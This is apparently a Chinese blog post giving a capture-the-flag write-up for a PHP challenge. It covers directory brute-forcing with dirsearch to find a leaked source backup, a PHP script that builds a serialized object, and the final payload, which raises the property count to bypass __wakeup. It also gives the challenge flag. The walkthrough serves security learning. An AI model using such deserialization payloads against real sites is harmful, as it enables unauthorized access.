[极客大挑战 2019]PHP 1

[极客大挑战 2019]PHP 1

打开文件发现提示信息“备份文件”,查看源码并未发现其他有效信息

image-20241106132748508

采用dirsearch爆破目录,找到www.zip文件

image-20241106134957125

解压zip,发现是源码泄露

image-20241106133239542

提交flag,发现不正确,看到index.php源码中有Get传参,然后反序列化函数unserialize(),判断为反序列化漏洞;

image-20241106133407703

查看class.php可知,只要username=admin并且password=100,就能输出flag

image-20241106134423198

于是构造反序列化payload

<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}
$select = new Name();
$res=serialize(@$select);   
echo $res
?>

执行php方法序列化成字符串,Name前后需要添加%00

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

image-20241106135642585

作为select参数值,未能显示出flag

image-20241106140221922

这是因为成员属性数目大于实际数目2时才可绕过wakeup魔术方法,修改2为任意大于二的数字

O:4:"Name":666:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

image-20241106140350145

成功拿到flag

flag{2629c697-31da-4735-8e1f-978a34067a82}

tips.

unserialize();

方法解释:
从已存储的表示中创建 PHP 的值列化后的字符串。
若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup()成员函数(如果存在的话);
posted @   TazmiDev  阅读(27)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
点击右上角即可分享
微信分享提示